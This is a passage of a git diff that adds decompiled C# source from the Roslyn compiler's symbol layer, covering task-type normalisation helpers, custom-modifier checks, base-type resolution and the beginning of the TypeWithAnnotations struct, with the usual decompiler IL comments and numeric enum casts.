NamedTypeSymbol { Arity: 0 } namedTypeSymbol)) + { + return false; + } + if ((object)namedTypeSymbol == compilation.GetWellKnownType((WellKnownType)95)) + { + return true; + } + if (namedTypeSymbol.IsVoidType()) + { + return false; + } + object builderArgument; + return namedTypeSymbol.IsCustomTaskType(out builderArgument); + } + + internal static bool IsGenericTaskType(this TypeSymbol type, CSharpCompilation compilation) + { + if (!(type is NamedTypeSymbol { Arity: 1 } namedTypeSymbol)) + { + return false; + } + if ((object)namedTypeSymbol.ConstructedFrom == compilation.GetWellKnownType((WellKnownType)96)) + { + return true; + } + object builderArgument; + return namedTypeSymbol.IsCustomTaskType(out builderArgument); + } + + internal static bool IsIAsyncEnumerableType(this TypeSymbol type, CSharpCompilation compilation) + { + if (!(type is NamedTypeSymbol { Arity: 1 } namedTypeSymbol)) + { + return false; + } + return (object)namedTypeSymbol.ConstructedFrom == compilation.GetWellKnownType((WellKnownType)288); + } + + internal static bool IsIAsyncEnumeratorType(this TypeSymbol type, CSharpCompilation compilation) + { + if (!(type is NamedTypeSymbol { Arity: 1 } namedTypeSymbol)) + { + return false; + } + return (object)namedTypeSymbol.ConstructedFrom == compilation.GetWellKnownType((WellKnownType)289); + } + + internal static bool IsCustomTaskType(this NamedTypeSymbol type, [NotNullWhen(true)] out object? builderArgument) + { + if (type.Arity < 2) + { + return type.HasAsyncMethodBuilderAttribute(out builderArgument); + } + builderArgument = null; + return false; + } + + internal static TypeSymbol NormalizeTaskTypes(this TypeSymbol type, CSharpCompilation compilation) + { + NormalizeTaskTypesInType(compilation, ref type); + return type; + } + + private static bool NormalizeTaskTypesInType(CSharpCompilation compilation, ref TypeSymbol type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + SymbolKind kind = type.Kind; + if ((int)kind <= 4) + { + if ((int)kind == 1) + { + ArrayTypeSymbol arrayType = (ArrayTypeSymbol)type; + bool result = NormalizeTaskTypesInArray(compilation, ref arrayType); + type = arrayType; + return result; + } + if ((int)kind == 4) + { + goto IL_0027; + } + } + else + { + if ((int)kind == 11) + { + goto IL_0027; + } + if ((int)kind == 14) + { + PointerTypeSymbol pointerType = (PointerTypeSymbol)type; + bool result2 = NormalizeTaskTypesInPointer(compilation, ref pointerType); + type = pointerType; + return result2; + } + if ((int)kind == 20) + { + FunctionPointerTypeSymbol funcPtrType = (FunctionPointerTypeSymbol)type; + bool result3 = NormalizeTaskTypesInFunctionPointer(compilation, ref funcPtrType); + type = funcPtrType; + return result3; + } + } + return false; + IL_0027: + NamedTypeSymbol type2 = (NamedTypeSymbol)type; + bool result4 = NormalizeTaskTypesInNamedType(compilation, ref type2); + type = type2; + return result4; + } + + private static bool NormalizeTaskTypesInType(CSharpCompilation compilation, ref TypeWithAnnotations typeWithAnnotations) + { + TypeSymbol type = typeWithAnnotations.Type; + if (NormalizeTaskTypesInType(compilation, ref type)) + { + typeWithAnnotations = TypeWithAnnotations.Create(type, NullableAnnotation.Oblivious, typeWithAnnotations.CustomModifiers); + return true; + } + return false; + } + + private static bool NormalizeTaskTypesInNamedType(CSharpCompilation compilation, ref NamedTypeSymbol type) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Invalid comparison between Unknown and I4 + bool flag = false; + if (!type.IsDefinition) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + type.GetAllTypeArguments(instance, ref useSiteInfo); + for (int i = 0; i < instance.Count; i++) + { + TypeWithAnnotations typeWithAnnotations = instance[i]; + TypeSymbol type2 = typeWithAnnotations.Type; + if (NormalizeTaskTypesInType(compilation, ref type2)) + { + flag = true; + instance[i] = TypeWithAnnotations.Create(type2, NullableAnnotation.Oblivious, typeWithAnnotations.CustomModifiers); + } + } + if (flag) + { + NamedTypeSymbol namedTypeSymbol = type; + NamedTypeSymbol originalDefinition = namedTypeSymbol.OriginalDefinition; + TypeMap typeMap = new TypeMap(originalDefinition.GetAllTypeParameters(), instance.ToImmutable(), allowAlpha: true); + type = typeMap.SubstituteNamedType(originalDefinition).WithTupleDataFrom(namedTypeSymbol); + } + instance.Free(); + } + if (type.OriginalDefinition.IsCustomTaskType(out object _)) + { + int arity = type.Arity; + NamedTypeSymbol wellKnownType = compilation.GetWellKnownType((WellKnownType)((arity == 0) ? 95 : 96)); + if ((int)wellKnownType.TypeKind == 6) + { + return false; + } + type = ((arity == 0) ? wellKnownType : wellKnownType.Construct(ImmutableArray.Create(type.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]), unbound: false)); + flag = true; + } + return flag; + } + + private static bool NormalizeTaskTypesInArray(CSharpCompilation compilation, ref ArrayTypeSymbol arrayType) + { + TypeWithAnnotations typeWithAnnotations = arrayType.ElementTypeWithAnnotations; + if (!NormalizeTaskTypesInType(compilation, ref typeWithAnnotations)) + { + return false; + } + arrayType = arrayType.WithElementType(typeWithAnnotations); + return true; + } + + private static bool NormalizeTaskTypesInPointer(CSharpCompilation compilation, ref PointerTypeSymbol pointerType) + { + TypeWithAnnotations typeWithAnnotations = pointerType.PointedAtTypeWithAnnotations; + if (!NormalizeTaskTypesInType(compilation, ref typeWithAnnotations)) + { + return false; + } + pointerType = new PointerTypeSymbol(typeWithAnnotations); + return true; + } + + private static bool NormalizeTaskTypesInFunctionPointer(CSharpCompilation compilation, ref FunctionPointerTypeSymbol funcPtrType) + { + TypeWithAnnotations typeWithAnnotations = funcPtrType.Signature.ReturnTypeWithAnnotations; + bool flag = NormalizeTaskTypesInType(compilation, ref typeWithAnnotations); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + if (funcPtrType.Signature.ParameterCount > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(funcPtrType.Signature.ParameterCount); + bool flag2 = false; + ImmutableArray.Enumerator enumerator = funcPtrType.Signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations typeWithAnnotations2 = enumerator.Current.TypeWithAnnotations; + flag2 |= NormalizeTaskTypesInType(compilation, ref typeWithAnnotations2); + instance.Add(typeWithAnnotations2); + } + if (flag2) + { + flag = true; + substitutedParameterTypes = instance.ToImmutableAndFree(); + } + else + { + substitutedParameterTypes = funcPtrType.Signature.ParameterTypesWithAnnotations; + instance.Free(); + } + } + if (flag) + { + funcPtrType = funcPtrType.SubstituteTypeSymbol(typeWithAnnotations, substitutedParameterTypes, default(ImmutableArray), default(ImmutableArray>)); + return true; + } + return false; + } + + internal static TypeReferenceWithAttributes GetTypeRefWithAttributes(this TypeWithAnnotations type, PEModuleBuilder moduleBuilder, Symbol declaringSymbol, ITypeReference typeRef) + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CSharpCompilation declaringCompilation = declaringSymbol.DeclaringCompilation; + if (declaringCompilation != null) + { + if (type.Type.ContainsTupleNames()) + { + addIfNotNull(instance, declaringCompilation.SynthesizeTupleNamesAttribute(type.Type)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(type.Type)) + { + addIfNotNull(instance, moduleBuilder.SynthesizeNativeIntegerAttribute(declaringSymbol, type.Type)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(declaringSymbol)) + { + addIfNotNull(instance, moduleBuilder.SynthesizeNullableAttributeIfNecessary(declaringSymbol, declaringSymbol.GetNullableContextValue(), type)); + } + } + return new TypeReferenceWithAttributes(typeRef, instance.ToImmutableAndFree()); + static void addIfNotNull(ArrayBuilder builder, SynthesizedAttributeData? attr) + { + if (attr != null) + { + builder.Add((ICustomAttribute)(object)attr); + } + } + } + + internal static bool IsWellKnownTypeInAttribute(this TypeSymbol typeSymbol) + { + return typeSymbol.IsWellKnownInteropServicesTopLevelType("InAttribute"); + } + + internal static bool IsWellKnownTypeRequiresLocationAttribute(this TypeSymbol typeSymbol) + { + return typeSymbol.IsWellKnownCompilerServicesTopLevelType("RequiresLocationAttribute"); + } + + internal static bool IsWellKnownTypeUnmanagedType(this TypeSymbol typeSymbol) + { + return typeSymbol.IsWellKnownInteropServicesTopLevelType("UnmanagedType"); + } + + internal static bool IsWellKnownTypeIsExternalInit(this TypeSymbol typeSymbol) + { + return typeSymbol.IsWellKnownCompilerServicesTopLevelType("IsExternalInit"); + } + + internal static bool IsWellKnownTypeOutAttribute(this TypeSymbol typeSymbol) + { + return typeSymbol.IsWellKnownInteropServicesTopLevelType("OutAttribute"); + } + + private static bool IsWellKnownInteropServicesTopLevelType(this TypeSymbol typeSymbol, string name) + { + if (typeSymbol.Name != name || (object)typeSymbol.ContainingType != null) + { + return false; + } + return typeSymbol.IsContainedInNamespace("System", "Runtime", "InteropServices"); + } + + private static bool IsWellKnownCompilerServicesTopLevelType(this TypeSymbol typeSymbol, string name) + { + if (typeSymbol.Name != name) + { + return false; + } + return typeSymbol.IsCompilerServicesTopLevelType(); + } + + internal static bool IsCompilerServicesTopLevelType(this TypeSymbol typeSymbol) + { + if ((object)typeSymbol.ContainingType == null) + { + return typeSymbol.IsContainedInNamespace("System", "Runtime", "CompilerServices"); + } + return false; + } + + internal static bool IsWellKnownSetsRequiredMembersAttribute(this TypeSymbol type) + { + if (type.Name == "SetsRequiredMembersAttribute") + { + return type.IsWellKnownDiagnosticsCodeAnalysisTopLevelType(); + } + return false; + } + + internal static bool IsWellKnownINumberBaseType(this TypeSymbol type) + { + type = type.OriginalDefinition; + if (type is NamedTypeSymbol { Name: "INumberBase", IsInterface: not false, Arity: 1, ContainingType: null }) + { + return type.IsContainedInNamespace("System", "Numerics"); + } + return false; + } + + internal static bool IsWellKnownDiagnosticsCodeAnalysisTopLevelType(this TypeSymbol typeSymbol) + { + if ((object)typeSymbol.ContainingType == null) + { + return typeSymbol.IsContainedInNamespace("System", "Diagnostics", "CodeAnalysis"); + } + return false; + } + + private static bool IsContainedInNamespace(this TypeSymbol typeSymbol, string outerNS, string midNS, string? innerNS = null) + { + NamespaceSymbol containingNamespace2; + if (innerNS != null) + { + NamespaceSymbol containingNamespace = typeSymbol.ContainingNamespace; + if (containingNamespace?.Name != innerNS) + { + return false; + } + containingNamespace2 = containingNamespace.ContainingNamespace; + } + else + { + containingNamespace2 = typeSymbol.ContainingNamespace; + } + if (containingNamespace2?.Name != midNS) + { + return false; + } + NamespaceSymbol containingNamespace3 = containingNamespace2.ContainingNamespace; + if (containingNamespace3?.Name != outerNS) + { + return false; + } + NamespaceSymbol containingNamespace4 = containingNamespace3.ContainingNamespace; + if (containingNamespace4 != null) + { + return containingNamespace4.IsGlobalNamespace; + } + return false; + } + + internal static int TypeToIndex(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected I4, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Expected I4, but got Unknown + SpecialType specialTypeSafe = type.GetSpecialTypeSafe(); + switch ((int)specialTypeSafe) + { + case 1: + return 0; + case 20: + return 1; + case 7: + return 2; + case 8: + return 3; + case 9: + return 4; + case 11: + return 5; + case 13: + return 6; + case 15: + return 7; + case 10: + return 8; + case 12: + return 9; + case 14: + return 10; + case 16: + return 11; + case 21: + if (type.IsNativeIntegerType) + { + return 12; + } + break; + case 22: + if (type.IsNativeIntegerType) + { + return 13; + } + break; + case 18: + return 14; + case 19: + return 15; + case 17: + return 16; + case 0: + { + if ((object)type == null || !type.IsNullableType()) + { + break; + } + TypeSymbol nullableUnderlyingType = type.GetNullableUnderlyingType(); + SpecialType specialTypeSafe2 = nullableUnderlyingType.GetSpecialTypeSafe(); + switch (specialTypeSafe2 - 7) + { + case 0: + return 17; + case 1: + return 18; + case 2: + return 19; + case 4: + return 20; + case 6: + return 21; + case 8: + return 22; + case 3: + return 23; + case 5: + return 24; + case 7: + return 25; + case 9: + return 26; + case 14: + if (nullableUnderlyingType.IsNativeIntegerType) + { + return 27; + } + break; + case 15: + if (nullableUnderlyingType.IsNativeIntegerType) + { + return 28; + } + break; + case 11: + return 29; + case 12: + return 30; + case 10: + return 31; + } + break; + } + } + return -1; + } + + internal static bool IsDisplayClassType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.Kind == 11) + { + GeneratedNameKind kind = GeneratedNameParser.GetKind(type.Name); + if ((uint)(kind - 99) <= 1u) + { + return true; + } + } + return false; + } + + public static NamedTypeSymbol AsUnboundGenericType(this NamedTypeSymbol type) + { + if (!type.IsGenericType) + { + throw new InvalidOperationException(); + } + NamedTypeSymbol originalDefinition = type.OriginalDefinition; + int arity = originalDefinition.Arity; + NamedTypeSymbol containingType = originalDefinition.ContainingType; + NamedTypeSymbol namedTypeSymbol = (((object)containingType == null) ? originalDefinition : originalDefinition.AsMember(containingType.IsGenericType ? containingType.AsUnboundGenericType() : containingType)); + if (arity == 0) + { + return namedTypeSymbol; + } + ImmutableArray typeArguments = UnboundArgumentErrorTypeSymbol.CreateTypeArguments(namedTypeSymbol.TypeParameters, arity, (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_UnexpectedUnboundGenericName)); + return namedTypeSymbol.Construct(typeArguments, unbound: true); + } + + public static int CustomModifierCount(this TypeSymbol type) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + if ((object)type == null) + { + return 0; + } + SymbolKind kind = type.Kind; + if ((int)kind <= 4) + { + if ((int)kind == 1) + { + return customModifierCountForTypeWithAnnotations(((ArrayTypeSymbol)type).ElementTypeWithAnnotations); + } + if ((int)kind == 4) + { + goto IL_0064; + } + } + else + { + if ((int)kind == 11) + { + goto IL_0064; + } + if ((int)kind == 14) + { + return customModifierCountForTypeWithAnnotations(((PointerTypeSymbol)type).PointedAtTypeWithAnnotations); + } + if ((int)kind == 20) + { + return ((FunctionPointerTypeSymbol)type).Signature.CustomModifierCount(); + } + } + goto IL_00b1; + IL_00b1: + return 0; + IL_0064: + if (!type.IsDefinition) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)type; + int num = 0; + while ((object)namedTypeSymbol != null) + { + ImmutableArray.Enumerator enumerator = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + num += customModifierCountForTypeWithAnnotations(current); + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + return num; + } + goto IL_00b1; + static int customModifierCountForTypeWithAnnotations(TypeWithAnnotations typeWithAnnotations) + { + return typeWithAnnotations.CustomModifiers.Length + typeWithAnnotations.Type.CustomModifierCount(); + } + } + + public static bool HasCustomModifiers(this TypeSymbol type, bool flagNonDefaultArraySizesOrLowerBounds) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + if ((object)type == null) + { + return false; + } + SymbolKind kind = type.Kind; + if ((int)kind <= 4) + { + if ((int)kind == 1) + { + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)type; + if (!checkTypeWithAnnotations(arrayTypeSymbol.ElementTypeWithAnnotations, flagNonDefaultArraySizesOrLowerBounds)) + { + if (flagNonDefaultArraySizesOrLowerBounds) + { + return !arrayTypeSymbol.HasDefaultSizesAndLowerBounds; + } + return false; + } + return true; + } + if ((int)kind == 4) + { + goto IL_00ee; + } + } + else + { + if ((int)kind == 11) + { + goto IL_00ee; + } + if ((int)kind == 14) + { + return checkTypeWithAnnotations(((PointerTypeSymbol)type).PointedAtTypeWithAnnotations, flagNonDefaultArraySizesOrLowerBounds); + } + if ((int)kind == 20) + { + FunctionPointerTypeSymbol functionPointerTypeSymbol = (FunctionPointerTypeSymbol)type; + if (!functionPointerTypeSymbol.Signature.RefCustomModifiers.IsEmpty || checkTypeWithAnnotations(functionPointerTypeSymbol.Signature.ReturnTypeWithAnnotations, flagNonDefaultArraySizesOrLowerBounds)) + { + return true; + } + ImmutableArray.Enumerator enumerator = functionPointerTypeSymbol.Signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!current.RefCustomModifiers.IsEmpty || checkTypeWithAnnotations(current.TypeWithAnnotations, flagNonDefaultArraySizesOrLowerBounds)) + { + return true; + } + } + return false; + } + } + goto IL_013b; + IL_013b: + return false; + IL_00ee: + if (!type.IsDefinition) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)type; + while ((object)namedTypeSymbol != null) + { + ImmutableArray.Enumerator enumerator2 = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (checkTypeWithAnnotations(enumerator2.Current, flagNonDefaultArraySizesOrLowerBounds)) + { + return true; + } + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + } + goto IL_013b; + static bool checkTypeWithAnnotations(TypeWithAnnotations typeWithAnnotations, bool flagNonDefaultArraySizesOrLowerBounds2) + { + if (!typeWithAnnotations.CustomModifiers.Any()) + { + return typeWithAnnotations.Type.HasCustomModifiers(flagNonDefaultArraySizesOrLowerBounds2); + } + return true; + } + } + + public static bool CanUnifyWith(this TypeSymbol thisType, TypeSymbol otherType) + { + return TypeUnification.CanUnify(thisType, otherType); + } + + internal static TypeSymbol GetNextBaseTypeNoUseSiteDiagnostics(this TypeSymbol type, ConsList basesBeingResolved, CSharpCompilation compilation, ref PooledHashSet visited) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected I4, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = type.TypeKind; + switch (typeKind - 1) + { + case 10: + return ((TypeParameterSymbol)type).EffectiveBaseClassNoUseSiteDiagnostics; + case 1: + case 5: + case 6: + case 9: + return GetNextDeclaredBase((NamedTypeSymbol)type, basesBeingResolved, compilation, ref visited); + case 0: + case 2: + case 3: + case 4: + case 8: + case 11: + case 12: + return type.BaseTypeNoUseSiteDiagnostics; + default: + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + } + + private static TypeSymbol GetNextDeclaredBase(NamedTypeSymbol type, ConsList basesBeingResolved, CSharpCompilation compilation, ref PooledHashSet visited) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + if (basesBeingResolved != null && ConsListExtensions.ContainsReference(basesBeingResolved, (TypeSymbol)type.OriginalDefinition)) + { + return null; + } + if ((int)type.SpecialType == 1) + { + type.SetKnownToHaveNoDeclaredBaseCycles(); + return null; + } + NamedTypeSymbol declaredBaseType = type.GetDeclaredBaseType(basesBeingResolved); + if ((object)declaredBaseType == null) + { + SetKnownToHaveNoDeclaredBaseCycles(ref visited); + return GetDefaultBaseOrNull(type, compilation); + } + NamedTypeSymbol originalDefinition = type.OriginalDefinition; + if (declaredBaseType.KnownToHaveNoDeclaredBaseCycles) + { + originalDefinition.SetKnownToHaveNoDeclaredBaseCycles(); + SetKnownToHaveNoDeclaredBaseCycles(ref visited); + } + else + { + visited = visited ?? PooledHashSet.GetInstance(); + ((HashSet)(object)visited).Add(originalDefinition); + if (((HashSet)(object)visited).Contains(declaredBaseType.OriginalDefinition)) + { + return GetDefaultBaseOrNull(type, compilation); + } + } + return declaredBaseType; + } + + private static void SetKnownToHaveNoDeclaredBaseCycles(ref PooledHashSet visited) + { + if (visited == null) + { + return; + } + foreach (NamedTypeSymbol item in (HashSet)(object)visited) + { + item.SetKnownToHaveNoDeclaredBaseCycles(); + } + visited.Free(); + visited = null; + } + + private static NamedTypeSymbol GetDefaultBaseOrNull(NamedTypeSymbol type, CSharpCompilation compilation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected I4, but got Unknown + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + if (compilation == null) + { + return null; + } + TypeKind typeKind = type.TypeKind; + if ((int)typeKind != 2) + { + switch (typeKind - 6) + { + case 0: + break; + case 1: + return null; + case 4: + return compilation.Assembly.GetSpecialType((SpecialType)5); + default: + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + } + return compilation.Assembly.GetSpecialType((SpecialType)1); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWellKnownAttributeData.cs new file mode 100644 index 0000000..0faeef8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWellKnownAttributeData.cs @@ -0,0 +1,32 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeWellKnownAttributeData : CommonTypeWellKnownAttributeData, ISkipLocalsInitAttributeTarget +{ + private NamedTypeSymbol _comImportCoClass; + + private bool _hasSkipLocalsInitAttribute; + + public NamedTypeSymbol ComImportCoClass + { + get + { + return _comImportCoClass; + } + set + { + _comImportCoClass = value; + } + } + + public bool HasSkipLocalsInitAttribute + { + get + { + return _hasSkipLocalsInitAttribute; + } + set + { + _hasSkipLocalsInitAttribute = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWithAnnotations.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWithAnnotations.cs new file mode 100644 index 0000000..8e3cdf3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWithAnnotations.cs @@ -0,0 +1,1189 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct TypeWithAnnotations : IFormattable +{ + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal sealed class Boxed + { + internal static readonly Boxed Sentinel = new Boxed(default(TypeWithAnnotations)); + + internal readonly TypeWithAnnotations Value; + + internal Boxed(TypeWithAnnotations value) + { + Value = value; + } + + internal string GetDebuggerDisplay() + { + return Value.GetDebuggerDisplay(); + } + } + + internal sealed class EqualsComparer : EqualityComparer + { + internal static readonly EqualsComparer ConsiderEverythingComparer = new EqualsComparer((TypeCompareKind)0); + + internal static readonly EqualsComparer IgnoreNullableModifiersForReferenceTypesComparer = new EqualsComparer((TypeCompareKind)8); + + private readonly TypeCompareKind _compareKind; + + public EqualsComparer(TypeCompareKind compareKind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + _compareKind = compareKind; + } + + public override int GetHashCode(TypeWithAnnotations obj) + { + if (!obj.HasType) + { + return 0; + } + return obj.Type.GetHashCode(); + } + + public override bool Equals(TypeWithAnnotations x, TypeWithAnnotations y) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (!x.HasType) + { + return !y.HasType; + } + return x.Equals(y, _compareKind); + } + } + + private abstract class Extensions + { + internal static readonly Extensions Default = new NonLazyType(ImmutableArray.Empty); + + internal abstract bool IsResolved { get; } + + internal abstract ImmutableArray CustomModifiers { get; } + + internal static Extensions Create(ImmutableArray customModifiers) + { + if (customModifiers.IsEmpty) + { + return Default; + } + return new NonLazyType(customModifiers); + } + + internal abstract TypeSymbol GetResolvedType(TypeSymbol defaultType); + + internal abstract NullableAnnotation GetResolvedAnnotation(NullableAnnotation defaultAnnotation); + + internal abstract TypeWithAnnotations AsNullableReferenceType(TypeWithAnnotations type); + + internal abstract TypeWithAnnotations AsNotNullableReferenceType(TypeWithAnnotations type); + + internal abstract TypeWithAnnotations WithModifiers(TypeWithAnnotations type, ImmutableArray customModifiers); + + internal abstract TypeSymbol GetNullableUnderlyingTypeOrSelf(TypeSymbol typeSymbol); + + internal abstract TypeSymbol AsTypeSymbolOnly(TypeSymbol typeSymbol); + + internal abstract SpecialType GetSpecialType(TypeSymbol typeSymbol); + + internal abstract bool IsRestrictedType(TypeSymbol typeSymbol, bool ignoreSpanLikeTypes); + + internal abstract bool IsStatic(TypeSymbol typeSymbol); + + internal abstract bool IsVoid(TypeSymbol typeSymbol); + + internal abstract bool IsSZArray(TypeSymbol typeSymbol); + + internal abstract bool IsRefLikeType(TypeSymbol typeSymbol); + + internal abstract TypeWithAnnotations WithTypeAndModifiers(TypeWithAnnotations type, TypeSymbol typeSymbol, ImmutableArray customModifiers); + + internal abstract bool TypeSymbolEquals(TypeWithAnnotations type, TypeWithAnnotations other, TypeCompareKind comparison); + + internal abstract TypeWithAnnotations SubstituteType(TypeWithAnnotations type, AbstractTypeMap typeMap); + + internal abstract void ReportDiagnosticsIfObsolete(TypeWithAnnotations type, Binder binder, SyntaxNode syntax, BindingDiagnosticBag diagnostics); + + internal abstract void TryForceResolve(bool asValueType); + } + + private sealed class NonLazyType : Extensions + { + private readonly ImmutableArray _customModifiers; + + internal override bool IsResolved => true; + + internal override ImmutableArray CustomModifiers => _customModifiers; + + public NonLazyType(ImmutableArray customModifiers) + { + _customModifiers = customModifiers; + } + + internal override TypeSymbol GetResolvedType(TypeSymbol defaultType) + { + return defaultType; + } + + internal override NullableAnnotation GetResolvedAnnotation(NullableAnnotation defaultAnnotation) + { + return defaultAnnotation; + } + + internal override SpecialType GetSpecialType(TypeSymbol typeSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return typeSymbol.SpecialType; + } + + internal override bool IsRestrictedType(TypeSymbol typeSymbol, bool ignoreSpanLikeTypes) + { + return typeSymbol.IsRestrictedType(ignoreSpanLikeTypes); + } + + internal override bool IsStatic(TypeSymbol typeSymbol) + { + return typeSymbol.IsStatic; + } + + internal override bool IsVoid(TypeSymbol typeSymbol) + { + return typeSymbol.IsVoidType(); + } + + internal override bool IsSZArray(TypeSymbol typeSymbol) + { + return typeSymbol.IsSZArray(); + } + + internal override bool IsRefLikeType(TypeSymbol typeSymbol) + { + return typeSymbol.IsRefLikeType; + } + + internal override TypeSymbol GetNullableUnderlyingTypeOrSelf(TypeSymbol typeSymbol) + { + return typeSymbol.StrippedType(); + } + + internal override TypeWithAnnotations WithModifiers(TypeWithAnnotations type, ImmutableArray customModifiers) + { + return CreateNonLazyType(type.DefaultType, type.NullableAnnotation, customModifiers); + } + + internal override TypeSymbol AsTypeSymbolOnly(TypeSymbol typeSymbol) + { + return typeSymbol; + } + + internal override TypeWithAnnotations WithTypeAndModifiers(TypeWithAnnotations type, TypeSymbol typeSymbol, ImmutableArray customModifiers) + { + return 